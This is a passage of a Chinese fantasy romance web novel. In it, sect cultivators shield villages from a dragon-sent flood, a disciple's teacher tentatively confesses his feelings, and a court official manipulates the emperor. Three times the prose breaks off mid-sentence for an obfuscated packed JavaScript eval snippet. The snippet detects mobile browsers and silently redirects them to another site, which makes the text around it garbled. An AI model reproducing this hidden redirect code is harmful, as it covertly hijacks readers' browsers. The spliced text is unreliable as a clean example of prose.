在说这件事之前,沈宫主曾到各地巡查过天气情况,魔龙此次降雨几乎波及到了整个朝荣国,边界地区即便没有下雨也是阴天,虽说每天都是淅淅沥沥的小雨,但连下三个月所带来的后果同样严重。 沈宫主已经预想到了赵皇帝的反应,说实话,沈宫主现在并不后悔那天伤了魔龙。 魔龙的心思他们根本无从知晓,在点亮石碑的人未出现以前,朝荣国就是魔龙的掌中物,焉知没有与魔龙开战就不会有雨灾或者其他灾难降临民间了吗? 赵皇帝对自己的警惕和不满已经无法消除,沈宫主道:“维护朝荣国安宁是皇宫和各门各派的职责,紫阳宫绝不希望看到灾难降临民间,不管陛下下达什么防洪指令,紫阳宫定竭尽所能配合,如今情形,满朝官员同心协力,一定能将雨水带来的危害降低到最小。” “你当然要配合!”赵皇帝一甩后摆坐了下来,“传令!让各地知府抓紧巡查管辖区域水涝情况,做好屋舍及良田的抗洪事项,每三日给寡人上折子说清状况,不得有误!” 三皇子似乎对父皇的指令很是意外,这样一个体贴民生,关心百姓的君王让他心中大喜,当即表态:“父皇英明!” 群臣皆躬身跟着说“英明”,周望默默打量了一眼赵皇帝,坐在雕刻龙身宝座上的赵皇帝,脸上的怒色大过群臣恭维带来的自喜。 人间帝王之所以喜欢拿龙来自比,就是因为龙乃万物之首,是除了天神以外最神圣强大的存在,再温和仁德的帝王都不允许有任何人侵犯他的权威,他们想看到的是群臣对他们的敬畏和俯拜。 这些东西帝王通过发怒可以得到,帝王做好政绩也能得到。 周望淡淡一笑,笑朝臣说的这句“英明”,究竟是否会众望所归? 下朝后,雨水恍若细密的蚕丝扫过人脸。待雨势转小,各地百姓都趁机根据自家情况做应对措施。 紫阳宫内,顾寄章看着阴沉天空下的细密雨丝叹道:“魔龙说降灾就能降灾,天地间诞生如此妖魔当真是数万百姓的灾难。” 顾云萧掐腰:“这种时候那些当官的就该出来做表率,该挖渠挖渠,该开河道开河道,我就不信,准备工作都做足了,三个月的雨又能对朝荣国怎样?” “对朝荣国怎样?”上官琛睁大眼睛看她,“顾小姐,连下三个月足可以淹没良田,损害房屋,没了住的地方,百姓流离失所,你说会怎样?” 顾云萧担忧道:“紫阳宫建得这么高,应该不会被淹吧?可紫阳宫就算地方大也无法容纳众多百姓,这可如何是好?” 青天白日,房间里点着数根蜡烛,依然显得屋里阴沉无比。 “如果良田被淹,百姓岂不是没有饭吃?”容珠忽然想起杀魔龙那日沈宫主还在担心杀了魔龙会导致朝荣国缺雨面临旱灾,结果魔龙反其道而行,让朝荣国面临洪涝。 她记得小时候和父亲有一次去民间,看到过很多穿破布烂衫的百姓在争抢粮食,从他们的眼中看到了疯狂和恐惧。 她有父亲庇佑,没有衣食之忧,不必疯抢有限的生存绳索,所以不明白他们为什么要恐惧。 而就在刚刚某个瞬间,她忽然明白了民以食为天这句话的重量。 粮食对百姓来讲是延续生命的基础,不管在哪个世界,都是一样的。而且春季正是播种时节,这个时候下三个月的雨可不要断人生路? 应白道:“如有存粮倒不必担忧,不过雨灾一事事发突然,恐各家各户并没有多少预备,我们都希望境况恶化不到这个地步,要是百姓填不饱肚子还流离失所,那便是最糟糕的情况。” 他成为圣灵后的某一天,看着碗中的米饭忽然想到这些粮食全部来自民间农田,全部都由那些所谓的贱民播种丰收,上缴给圣灵宫。种田是低贱的活计,而恰恰是低贱的农田产出的粮食才让那个世界的所有强者都能吃饱饭。 良田需要低贱的农民洒汗挥种,辛勤劳作才能收获颗粒饱满的大米和新鲜多样的果蔬,所有人都离不开的东西却将他们视为低贱,应白从来没有像当时那一瞬间感觉到这个世界是如此可怖,如此冷血。 他见过被村民驱逐的外来流浪人,他们居无定所,四处乞讨,然而几乎没有人施舍给他们东西,这些人的下场除了被打死,就是被饿死。 朝荣国人口旺盛,很多人都能自然老死,然而在另外一个世界,生存是需要争,需要抢的,每天会死多少人,应白有时候都不敢想。 外头传来踩水声,沈宫主一脸闷闷地回到紫阳宫。 “陛下已经下令让各级知府巡查当地情况,开始建堤挖河道,但我担心现在动工可能赶不上大雨淹没的速度,寻常百姓家不像咱们门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959754|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派似的建在山上,如果大雨淹了房屋田地怎么办?” 顾寄章看她眉眼中又好似有了主意,便问:“沈宫主有何想法?” 沈宫主一脸肃容,停了片刻道:“我决定召开门派大会,让各门派尽可能对所在地区的村镇施加避雨屏障来预防危害。” “这是个好主意!”上官琛眸光发亮。 邱梧道:“门派实力高低不同,有些门派只能维护一座村庄,即便是紫阳宫,也没法护住整个都城。” 对一座城池施加屏障需要消耗极大的灵力,即便屏障的作用只是为了阻隔雨水,不追求多么坚固。若想保护整个都城不受雨灾侵害,整个紫阳宫加起来也只能护住半边都城。 沈宫主自然清楚诸多因素,“雨灾来临,不管门派的力量是强是弱,只要有法子保护百姓,都应该尽最大的努力去做,保护一个村镇是一个村镇,保护一座城池便是一座城池,缝缝补补总能护住所有地方,现在看来,这场雨也不是时时刻刻都下这么大。” 沈宫主看向屋外:“朝荣国还有喘息的时候。” 天空一片阴沉,细密的雨丝绵延不尽,肉眼虽看不太清,但瞧那坑坑洼洼的水涡中泛起的水圈便知是下雨的痕迹。 沈宫主的飞令一发,各派之主都在下午准时来到紫阳宫,大堂中很快坐满了人。 算起来,朝荣国的大小门派也有二十多个,听完沈宫主的建议后,各人提出了看法和顾虑。沈宫主一一做了回答,最终决定从明日开始施加屏障。 “优先从地势低,容易积水的区域开始,届时紫阳宫会分派出弟子帮助大家,人人出一份力,加上各地知府的抗洪措施,一定能最大范围减少雨灾侵害!” 上官琛和沈宫主开始安排紫阳宫弟子所去区域,顾云萧本着临阵磨刀不快也亮的想法回房努力修炼,顾寄章知她不愿听自己唠叨,还是忍不住传授了两句修炼经验,没想到顾云萧竟听得认真。 是夜,容珠躺在床上静静思考避雨屏障一事。她一会儿因朝荣国有沈宫主坐镇而感到安心,一会儿因大雨降临朝荣国,为百姓的衣食住行而揪心。 对朝荣国来讲,她是一个外来人,来到这之前她从没想过能在这里有什么作为或者收获,然而,她成了消灭魔龙的成员之一。 她对朝荣国的感情在慢慢加深,自不愿看到这里遭受苦难不幸。灵力可以抵御外敌,却对雨灾无可奈何,即便是朝荣国最厉害的沈宫主也因此露出愁容。 这是圣灵宫那些圣灵绝不会有的表情,他们也不会为百姓奉献自己的灵力,同样是世界里的高位者,沈宫主的身上蕴含着另一种强大宽广的力量,好像有她在,朝荣国内所有的苦难都能安然度过,就连容珠渐渐地也对沈宫主心生喜爱。 好像沈宫主把朝荣国的百姓都看作了紫阳宫弟子…… 不是…… 是沈宫主把朝荣国所有人都看作一个个珍贵需要爱怜的生命。这是应白想看到的世界情形,是他当年宣扬仁爱的目的。 朝荣国有沈宫主,一个让所有人尊敬敬仰的人,她的心中一定真的有这世间所有人。 90. 暗示 赵皇帝对沈宫主提出的避雨屏障之法没有意见。下朝回去后,各派之主御剑飞回自己的门派地界,召集弟子前往指定区域施术. 避雨屏障不仅要优先在田地、山谷、沟壑上方施加,还要尽可能确保被阻隔的雨水能顺着屏障留入河道或沟渠。 雨噼里啪啦下了起来,沈宫主悬在皇宫上方,透明的屏障像一把水做的大伞缓缓向四周延伸。屏障遮盖范围越广越消耗灵力,凭沈宫主一人之力,可遮盖整个皇宫及五座村镇。 容珠、邱梧、上官琛和顾寄章等人均在高空施术,百姓们仰望着天空,看着密密麻麻的门派弟子高举臂膀,若干把透明的“雨伞”在灰黯黯的天空下闪闪发亮,又像生长在半空中的大蘑菇。 施出的屏障需要隔日加固,而修炼者资质不同,灵力恢复起来也有快慢之分,半天,三天,七天都有,这对所有修炼者而言无疑是一场长期战。 施加屏障费灵力,挖沟建渠费银钱。赵皇帝这两天陆陆续续收到不少请求朝廷拨款的折子,每看一封,赵皇帝的眉头就多一道竖纹,当看到越来越多的要钱请求后,赵皇帝便不悦起来。 国库是充盈,但他年前下令修建的辉煌宫殿还未竣工,这项工程几乎是日日都要大把银两,再过几月,赵皇帝的生辰就要到了,他还想大肆操办一番,如果修建宫殿的费用加上挖渠建堤的费用都支出去,那他的生辰宴便不够排场了。 赵皇帝转念一想,眼下正是百姓危难之际,当然是要紧着百姓来,可他同样也是皇上,顾全了百姓还得彰显自己的地位和权威,如果不给这些知府拨款的话,难免又要被某些官员说他心中无民。 折子一封封堆摞起来像座小山,良久,赵皇帝把手里的折子往案上一扔,疲累道:“把周望给寡人叫来。” * 因着下雨之故,门派间弟子们的比试就往后推迟了,顾云萧因周望短时间不能来紫阳宫而感到垂丧,上官琛喜形于色。 容珠回到紫阳宫后,应白问起她施加屏障累不累,他看到她两眼闪烁着光芒,先是沉默了一会,然后才缓缓道:“师父,我今天施出的每一个避雨屏障都是为了我曾经以为的低贱之人。 “虽然杀魔龙也是为了朝荣国百姓,但那个时候我没想这么多,可是今天早上,当我施加完第一个避雨屏障后,我看到底下这片土地不再承受雨水袭击,百姓们的脸上都露出了笑容,他们在下面朝我招手,很大声地对我说谢谢,我感觉自己好像背叛了什么。” 容珠虽然这么说,眼里的璀璨光芒却丝毫不减。 “圣灵宫绝不会替百姓遮雨,我们那里的百姓也从不会露出这样的笑容。我感到我所做的行为背叛了圣灵宫,背叛了我们那个世界,可这种背叛不会让我觉得有愧疚,我好像才开始明白修炼的另一种意义。 “从那些百姓们的笑容上,我知道他们在认可我,我知道自己正在做一件让别人开心的事,这比以往杀魔龙还要有价值,更让我感到无比喜悦。” 应白不自觉地笑了,随着容珠每说一句话,那双晶亮的眸子就让应白的目光往里陷一分。 他完全能体会容珠此刻的心情,因为他曾经经历过,帮助别人后得到别人的感谢所带来的快乐跟他成为圣灵以及每年与母亲重逢时的喜悦是不一样的。 爱有很多种,快乐也有很多种,他当然希望容珠能体验到世上所有的爱和快乐,他想看到她开心,也希望她一直开心。 “你做的这些对圣灵宫不构成任何损失,也没有损害我们那个世界百姓的利益,这不是背叛,这是你的突破,是成长。” 外面大雨瓢泼,雨声又响又闷,应白的声音却十分清楚温和地传进容珠的耳朵里,她睫毛一扇,避开应白的目光低头一笑,凝在发丝上的雨珠亮起一抹水光,应白伸手轻轻拭去。 “怎么头发湿了?”应白抹去了指肚上的湿意。 发丝拂过脸颊传来轻微的痒意让容珠浑身一僵。 “我给自己设避雨屏障了,可能是进门前滴上的吧。”容珠心跳如鼓,两只手在袖子里互相捏着。 应白看到容珠头顶上的发丝也有些雨珠,送她的珍珠簪上也有水渍,但应白不好再帮她擦了。再多进一步,就越过了界线,他不想显得自己总是轻浮,也不想让容珠难堪。 如果他有灵核就好了…… 有灵核就有底气跟她表明心意。 这是应白不知想了多少遍的假设,没有灵核的他就和容珠不是一个世界的人,容珠的灵力在不断增长,她的人生正闪烁着光芒,这光芒会一直持续,越来越亮。 她终会走向高处,用她的实力去做一件件或争斗,或付出,或激烈,或开心的事,而他只能看着她,默默地为她的笑容而快乐,为她的哭泣而悲伤,他只能站在她身后,无法与她并肩前行。 总有一天,他这个师父再无用处,容珠再不需要他教导,她会比曾经的自己还要强大,她自会遇见和她年纪相仿,实力强悍的少年。 应白越想越心酸,脑子里冷不丁冒出周望给容珠拿掉头上的花瓣和扶她上车的情景,如果是周望…… 屋子里寂静了好久,静到容珠明显地感觉到了应白的异常。她忽然意识到,当他们所有人都去施加屏障的时候,只有应白一人在圣灵宫。 她的师父曾经位列圣灵,一朝失去灵核所带来的不仅是肉//体上的痛,更是对自我的打击,是辛辛苦苦修炼了十几年的成果却被别人夺走的恨、屈辱和心痛。 换做任何一个人都很难不疯,可她从没看过应白因这件事而难过…… 容珠忘了,她在漩涡之境见到的应白已经是被剥灵核四年后的应白了。 那么在刚进漩涡之境的时候,他是不是很痛苦?身心是不是大受折磨?他现在的风平浪静是已经经历完了海浪呼啸所表现出的,还是在这种表象下,他的内心一直在呼啸? 他此刻的表情如此落寞,是不是在为自己不能帮助百姓而伤心? “师父……”容珠看着他出神的目光,轻轻呼唤。 “没有你,我今日无法施展出避雨屏障,谢谢两个字已经不足以表达我的心情,我想说,在我眼里,你不是圣灵宫所说的疯子还有罪人,他们在你身上加注的所有罪名在我这里都是截然相反的,你真心对我好,不管你怎么样,你都是我心中最重要的人。” 应白的眸子缓缓抬起,就在方才一刻,他还在想如果抛去自己莫名生起的警惕和疑心,周望的确是个优秀的人。 他对容珠做出的举动如果说没那个心思是不可能的,除此之外,应白有九成把握周望是修炼之人,眼下紫阳宫和周望关系颇好,来来往往间容珠会不会也对他有意? 他没意识到自己开始胡思乱想了,而就在他越来越感到难过时,容珠的某一句话好像给了他意外之喜,他定定地看着她,柔和的棕色瞳孔隐约泛着深不可测的波澜。 “我知道你在乎的不是这个……”容珠垂下眼眸,她怕接下来自己说的话会触及应白心中的伤。 “你也想跟我们一起帮助百姓施加屏障,刚才我只顾自己高兴,忽略了师父想帮忙却无法帮的心情,我有今天的本事都是师父促就的,既脱离了废物之身,那我更要好好修炼,将来有一天我会去圣灵宫,拿回师父的灵核。” 说完后,容珠又对自己没信心,她现在才到中灵阶级,若想成为圣灵还不知道要等几十年呢,奚昤神识到现在还没弄出所以然,容珠不会把自己修炼的希望寄托在这上头。 她现在夸下海口,万一等到她老死了也没成为圣灵,那师父岂不是白白抱希望了吗? 这么一想,她鼓起勇气看应白的目光又欲退缩,她不仅戳了师父的伤疤还给他了一个不可能实现的希望…… 外头雨声嘈杂,吵得容珠心烦。 “不。”应白声音轻缓,“你修炼是为了成为更好的自己,不是为了报答我去圣灵宫拿回我的灵核,这件事跟我们的师徒关系没有直接联系,和圣灵宫的恩怨是我要面对的,况且你救过我的命,你不拜我为师我也愿意教你功法,师父只是一个称呼,我们之间没有辈分高低,我也不想让你把我像长辈一样看待,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964574|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 他在乎。 他很在乎容珠心里是怎么看他的,容珠方才忧心的事虽然不是他方才心里想的却也是事实。 身处紫阳宫中,周围都是修炼之人,没有灵核,应白也会觉得自己格格不入。 但如果紫阳宫介意灵核一事,应白自不会相安无事地待在这里,无论是沈宫主、顾寄章、邱梧还是上官琛,对他都是真心实意。 他既然承了这份热情,能帮得上忙的时候他一定会站出来。但唯独对容珠,应白总是介意自己没有灵核。 听到容珠说自己是她心中最重要的人,应白心头有一瞬间死灰复燃,他想贪多一点,很想知道有多重要,在她眼里,他除了是她的师父外,还有没有别的感情? “你跟我说这些我很开心。”应白先安抚容珠的忧虑,“没有灵核的确是件伤心事,可我不介意你在我面前提起,我们经历过多次生死,我所有的事你都知道,我所有的亲人你都见过,我没有什么事是你不能提起的,我希望我们之间没有边界存在。” 应白不知道容珠能不能听懂他的意思,他盼望着她能听懂好给他一个答案,又盼望着她听不懂。 他怕拒绝,所以他说得十分隐晦,给彼此都保留了退步的空间,哪怕容珠听懂了但她没那个意思她也可以强调两人是师徒关系,关系好的师徒也可以无话不谈。 容珠被外头的雨声吵得震耳欲聋,她知道应白说了一番很有重量的话,这话听来让她很雀跃也很困惑。 她好像听明白了应白在说什么,又好像没听明白,她觉着应白表面上在说这个意思,其实这些话又有着另外一层含义。 容珠不敢想。 一是怕自己自作多情,虽然她知道应白喜欢自己,但这些话万一不是这个意思呢? 第二,如果是这个意思,那她和应白之间就不是师徒关系了,这样的转变让她不知所措,她不知道要如何面对不再是师父的应白。 所以…… 容珠露出了一个很自然的笑容,模糊回答:“好的,师父。” 四个字犹如一盆冰冷的雨水一下子浇灭了应白心头燃烧着的激动火苗,虽然有了心理预备,但这几个字还是让他难受无比。 容珠没想到今日和应白会有这么一番对话,应白也没想到今日会跟容珠表白。他明明觉得二人的谈话已经接近于那个可能了,可对方的回答却跟他猜测的不一样。 屋里再次陷入一种奇妙的寂静中,就在这个时候,应白冷不防看见上官琛正靠在门边看着他们。 “何时来的?” 经应白提醒,容珠猜测上官琛肯定有别的事要说登时浑身一松。 “刚刚,那位周大人来紫阳宫了,说要见容珠。” 上官琛说“周大人”三个字时特意拉长了音调,面露不屑。 容珠怪道:“他找我做什么?” 应白心头升起一股危机。 “不知道。”上官琛摇头,“当时我不在那,母亲把我叫来让我去找你。” 容珠走后,应白也想去看看那位周大人找她的爱徒干什么,但上官琛伸出手拦住了他,嘴角神秘地笑着,“我问你件事。” 应白端详了一会他的表情后道:“问之前先让我问你件事,你如实回答我便也如实回答。” 上官琛心思单纯,不觉得自己有什么事不能如实回答,于是靠在门边笑道:“你先问。” “你喜欢顾小姐?” 上官琛嘴角的窃笑忽然一个大转变,他两只眼睛睁得大大的,似是很不可思议。 “我……”上官琛看了看四周无人,心里又想知道应白的答案,于是走近一步,悄悄道:“不准跟别人说,这是秘密。” 一方已经如实回答了。应白几不可察地一笑,上官琛递了个眼神给他,“该我问你了。” “喜欢。” 应白说完这两个字后不顾上官琛再次意外的神情,也凑近道:“这是我们的秘密。” 语毕,应白转身急追容珠,很快消失在了上官琛的视野中。 91. 监工 其实上官琛根本没听见应白和容珠的对话,他只是站在门口看到两人互相看彼此的眼神就又让他想起应白受伤时,容珠担忧的模样。 这样的眼神太缠绵情深,根本就不是师徒间应该有的对视,所以这次上官琛才不管那么多,一心想满足自己的好奇心。 不枉和应白是好兄弟,好奇心是满足了,但他也把自己的秘密搭出去了。 应白和容珠两人怎么样他已经不在意了,只忙着追问他是怎么知道自己喜欢顾云萧这事。 应白边走边道:“周望不管是仪表还是做事都让人挑不出刺,旁人都愿意与他结交,你自己看不出来,每当顾小姐提起周望二字时,你都格外生气。” 容珠来到前厅时迎面便看见了一身黑色官服的周望,他衣服下摆一圈已经湿透了,整个人还是一副优雅镇静的模样。 今早紫阳宫弟子只顾着给皇宫和都城其他地方施加屏障,紫阳宫还未设避雨屏障,周望进紫阳宫就得打伞,这么大的雨,打伞只能顾得上上半身,一路走来定会沾染雨水。 周望笑看容珠,如画的脸面在黑色官服的映衬下显得分外白皙俊俏,浅色的瞳孔散发着柔和的目光,对视上的一刹那就好像心里的杂绪全部洗涤,无缘由地对他生出好感。 “周大人。”容珠朝他礼貌一笑打了个招呼。 座上的沈宫主笑道:“容珠,周大人是奉旨来紫阳宫的。” * 半个时辰前,周望经宫里人入府传召进宫面见赵皇帝。 “寡人听老三说你雨天犯腿疾,可要紧?”赵皇帝正在御书房看折子,屋内即便点了许多蜡烛,总有种阴沉沉的感觉。 周望行礼:“多谢陛下关心,臣的腿疾无大碍,陛下传召,即便是风吹雨打,做臣子的也要入宫拜见,君王之命不可违。” 赵皇帝很喜欢听他说话,他开怀一笑,示意周望坐下。 “如今你在寡人身边也有段时间了,你是朝堂上为数不多的年轻才子,寡人尚不知你今年几何?” 周望身子前倾:“回陛下,臣今年二十九了。” 赵皇帝目露讶色:“寡人以为你约莫弱冠之龄,既如此,那你已有妻室?” “回陛下,臣未曾娶妻。” 来之前,周望就知道赵皇帝找他干什么,此刻闲聊不过是所谓的谈话礼节,赵皇帝也不想一上来就让臣子给他提建议,尤其是这件事根本不需要找臣子出主意。 但周望明白位高者喜欢有能力的下属也更喜欢有眼色的下属。 “天色阴沉,屋内点了蜡烛还是昏暗,陛下有这么多封折子要看,也要适当歇歇。” 周望主动扯到折子上面,赵皇帝心中甚喜,他面露愁容,叹气道:“大雨瓢泼,寡人已下令让各地知府派兵挖渠,这一封封折子都是要修渠所需银两的,这是关乎百姓的大事,寡人自然应允,可是朝荣国几乎每座城池都要动工,所需银钱庞大,国库并不充裕。” 赵皇帝忽然咳嗽两声,甚是疲惫道:“雨涝灾害不容小觑,寡人正发愁该如何照顾到所有百姓……” 周望微微一笑:“陛下爱民,是朝荣国百姓的福气,如今各大门派在各地都设了避雨屏障,短时间内的确是十分有效的防洪方法,但雨水顺着屏障往下流总要有个去处,因此挖渠是必不可少的工程,而且耽误不得,是十分紧急的一项任务。” 屋内烛影绰绰,赵皇帝目不转睛地看着他,周望慢声道:“可维护百姓不止是陛下一人的责任,陛下舍了银两去给百姓挖渠,要靠每年的收税上贡才能慢慢将国库充盈起来,而各大门派之主虽然也在防洪一事上做了施加避雨屏障一事,但他们损耗的只是灵力,睡一觉就恢复了。” 周望看向赵皇帝闪着期待的目光幽幽道:“臣认为,在修渠一事上,各大门派完全有责任贡献自己的银两支援百姓,这样陛下就不必担心国库空虚而照顾不到所有百姓了。” 赵皇帝难掩喜色,但他眉头一皱,思索了一会儿道:“各大门派是抵抗朝荣国外患的盾牌,说到底也是寡人的臣民,岂有让臣民出钱的道理?” 当然没有一国之主国库充盈只因自己不想为百姓掏钱而让臣民出钱的道理。 周望面上始终露着恰到好处的笑容,“陛下忘了,沈宫主可是扬言紫阳宫一心为民,她既然总在陛下面前提起,陛下何不给她这个机会?沈宫主是朝荣国第一宫主,有她带头,还担心其他门派不跟随吗?到时即便其他门派有什么想法那也是腹诽沈宫主,与陛下无关。” 赵皇帝介意沈青寒的心思明眼人都看得出来,但这件事太过敏感,不是所有门派都有资格有底气和皇帝叫嚣,与皇帝划清界限,大多数门派之主都在嗅着两边风向一边继续跟沈宫主交好一边又不想得罪赵皇帝。 但若真有闹掰的一天,各门派之主也会毫不犹豫地站在赵皇帝这边。 沈青寒虽然厉害但赵皇帝才是一国之主,等赵皇帝动怒非要处置沈青寒的时候,紫阳宫就是众矢之的,沈青寒尚要护住整个紫阳宫哪有力量来保护其他追随者?没人拿整个门派去宣扬陛下不仁,以身涉险。 沈青寒提议大家施加避雨屏障的时候,这些人想反正赵皇帝在朝堂上明言要采取防洪措施加上耗费点灵力休息休息就能补回来,所以没人拒绝。 但要是沈青寒提出组织大家交银子挖渠,虽说是因国库不充盈,为了百姓而做贡献,但到底拿钱和耗费灵力不是一回事。 赵皇帝觉着这个计策可谓是一箭三雕,既能给国库腾出更多的钱来操办他的生辰宴,又不会被人诟病心中无百姓,也能让沈青寒受其他门派之主或多或少的抱怨。 “爱卿甚得寡人之心啊。” 周望垂眸,笑容恭敬。 赵皇帝斜倚在宝座边道:“其实各大门派每年的进项也是一笔不小的数目,国家危难之际,他们拿出点银钱来再合理不过了。” 各大门派的进项主要来源与弟子们每年交的学费、衣装费、武器费还有住宿费,越有实力的门派学费越高,像紫阳宫这种第一门派,每人每年交的学费约莫是都城一个人一月内衣食住行所需的费用。 若是资质优秀但家境贫寒的弟子,紫阳宫会免学费,一年中,考核优秀的弟子有银钱奖励,像每年春天跟其他门派弟子比试,武艺出色者也有银钱奖励。 赵皇帝看着桌案上堆着的一摞折子已不再满脸烦躁,不过他仍忧虑道:“银钱一事解决了,还有件事让寡人头疼。” “臣愿为陛下分忧。” 赵皇帝嘴里叹着气,眉眼却是藏不住的喜色。 “寡人担心有些官员拿钱不办实事,所以想派人去监工,既要保证渠道不出差错,也要考核地方官员资质,寡人已经派老三沿着都城临近的城池去查看,可他毕竟一个人,精力有限,朝中又都是些上了年纪的老头,让他们去监工寡人担心他们身子受不住。” 赵皇帝不愿把国库的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964575|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银钱都用在百姓身上,又担心自己拨了银钱让有些贪官私吞,为了让自己的银钱实打实的用在修渠上,赵皇帝便想到了监工这个措施,正好借这个由头把三皇子派出去,省得他成天在朝堂上,在私下指责他这个皇帝事办得不好。 整个朝堂就他和沈宫主总是顶撞他,眼下丢出去一个,剩下一个沈宫主再慢慢对付。 周望此人很合赵皇帝意,但他更担心自己的银钱被贪,且周望因为之前做出的种种事迹让上下官员都对他心怀敬意,赵皇帝对他的重视全臣皆知,周望去了才能给那些心术不正的官员一个警醒。 周望当然听出了赵皇帝的言外之意,他垂首道:“得陛下赏识,是臣之荣誉,臣自当尽心尽力,不负陛下所托。” 赵皇帝越看周望越顺眼,他甚至开始认为是上天赐给了他一个贤臣,满朝官员,右相只会拍马屁,遇到事情连个主意都没有,其他官员都只会说好话,唯有周望,说的话既能符合赵皇帝的心意,办事也能办到赵皇帝心坎上去。 “爱卿啊,你如此优秀,寡人要是有个适龄公主,定然要许配给你,让你做寡人的女婿。” 周望拜下,慢条斯理道:“多谢陛下抬爱,公主身份金贵,臣乃凡夫俗子不敢高攀。” 他回到原先的话题上:“陛下既然想派合适的人监工,臣有一推荐人选,望陛下允准此人随臣同去,定会助臣一臂之力。 赵皇帝身子前倾,“何人?” 周望抬头:“此人便是点亮一道石碑印记的容珠姑娘。” 容珠作为击杀魔龙的成员之一,又是灵力颇高的修炼之人,跟周望去监工除了会让地方官更惶恐外还会在有什么意外发生时,比普通人更有效地护住百姓。 赵皇帝觉得这个提议很在情理之中。 当周望把要去监工一事跟容珠说了后,容珠颇觉意外。 “有些门派灵力微薄,无法照顾到所有百姓,邱姑娘在宫里教四公主读书,沈宫主和上官公子是都城的支柱,陛下顾念百姓,所以想到了容姑娘,如果你去了,将会是那些门派的一大助力,而且你是点亮石碑之人,百姓们看见你会更有安全感。” 此刻所有人已到场,沈宫主听到的是容珠要干一件为国为民之事,顾云萧听到的是容珠要和“周仙君”一起同游,应白听到的是接下来一段时间,周望会和容珠单独相处。 顾寄章觉得赵皇帝想的这件事合情合理,难得他一心为民。 上官琛时不时观察着顾云萧,眼看着她对周望那么有好感,那要是让她知道自己喜欢她肯定要被她笑话,看来以后见着周望得自然点才行,应白能替他保守秘密,万一别人发现了不见得守得住话。 这是旨意不是商量,容珠不能拒绝也不必拒绝,她刚从帮助别人一事中得到快乐,眼下更有设身处地的机会,她也心甘情愿。 她问:“不知何日启程?” 周望似是不经意地看了应白一眼,然后垂眸看着容珠,扬起一抹柔和的笑,道:“明日便走。” 应白心头的危机感越来越强,他怎么感觉周望不是和容珠去监工,而是要拐走他的爱徒呢! 这时,周望忽地看向他,“说起来,应公子是容姑娘的师父,既是师父,便是长辈,接下来一个月我要带着令徒外出,来紫阳宫做客许多次,还没和应公子好好交谈一番。” 说到此处,周望看向主位之人,“沈宫主,不知可否方便让我与应公子单独聊聊?” 92. 退缩 沿着长廊往东走连着一个宽敞的亭子,四周湖水涟漪,若是到了夏日,荷花盛开,荷叶伸展,坐在此处听雨声,别有一番滋味。 应白一路上不出声,只是盯着周望。直到二人在亭中坐下,落在周望脸上的目光还未移走时,周望好似才注意到什么似的,颇为不解道:“应公子似乎对我有敌意?” “周大人哪里话,我为何要视周大人为敌呢?”应白直视着周望的双眸,似乎想看透这个人暗藏的心思。 周望不在这件事上多说,他望了望亭外的雨水,温声道:“令徒明日就要随我去监工,这一去少则一月多则两月,应公子作为容姑娘的师父难免要挂心,不过修炼之人都会御剑飞行,如果应公子挂念徒弟,这一来一去也方便。” 哗啦啦的雨水打在湖面上掀起一阵阵潮湿的水风,应白骤然被这阵风吹得身子一僵,冷意席卷全身,仿佛杵在寒冰腊月天,浑身冻得无法呼吸。 “容珠是去监工又不是去与妖魔作战,虽说是陛下看重她给她分派的任务,但对她而言也是个体验朝荣国民生的好机会,容珠非弱女子,周大人说挂心二字有些小题大做了。”应白语调跟平常无异,不过向来温和的眸子却流露出些许异样。 他有种很强烈的感觉,这个周望好似处在云雾之间,看得清他的衣装,看得清他的模样,甚至也能跟他自由对话,但这些都是表象,他分明是个普通人,却时不时会散发出傲视万物,世间一切尽在他掌握之中的神秘气息。 周望保持着礼貌的微笑,一只手放在桌子上抚摸着木桌上的纹路,“良师出高徒,应公子眼界宽广,有你这样的师父,容姑娘只会更加非凡。” “容珠有什么样的成就都是她一人努力得来的,她虽叫我一声师父,但她本就明珠璀璨,不需要我教什么。” 应白本就因没有灵核而觉得配不上容珠,偏这周望又拿这事刺了他一下,即便不知者无罪,但应白听他说出来就觉得格外扎心,甚至很小气地认为他在故意为之。 应白自认自己不是个斤斤计较的人,人不犯他,他绝不会犯人。但他一听周望说话,尤其那句“既是师父,又是长辈”的话让应白心里很不爽。 不过应白转念想,周望根本没做错什么事,只是因为他怀疑周望喜欢容珠而对他产生排斥和敌意,这非君子所为,也与他心中与人和睦友好相处的准则背道而驰,甚至他又意识到刚刚说话的语气有点冲。 对周望来讲,人家有心找自己闲聊,却要无端遭受对方冷声冷语,这岂不是十分不礼之举?应白在心内叹了口气,他不该对周望表现出敌意,至少面上不能。 